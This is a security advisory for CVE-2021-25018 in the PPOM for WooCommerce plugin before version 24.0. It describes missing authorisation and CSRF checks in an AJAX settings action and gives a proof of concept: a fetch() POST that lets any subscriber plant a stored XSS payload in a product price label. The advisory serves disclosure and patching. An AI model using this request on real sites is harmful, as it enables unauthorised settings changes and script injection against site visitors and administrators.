PPOM for WooCommerce < 24.0 – Subscriber+ Settings Update to Stored XSS | CVE 2021-25018

Description

The plugin does not have authorisation and CSRF checks in the ppom_settings_panel_action AJAX action, allowing any authenticated to call it and set arbitrary settings. Furthermore, due to the lack of sanitisation and escaping, it could lead to Stored XSS issues

Proof of Concept

1. Use the new settings panel framework by clicking the "migrate" button on https://example.com/wp-admin/admin.php?page=wc-settings&tab=ppom_settings
2. Attach PPOM fields to any Woocommerce product (product must have a price set for XSS to trigger)
3. Run (as any logged-in user, e.g. a subscriber):

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": "action=ppom_settings_panel_action&ppom-settings_panel[ppom_label_product_price]=<img src onerror=alert(`XSS`) x",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

4. The XSS will be triggered on the products where PPOM fields are enabled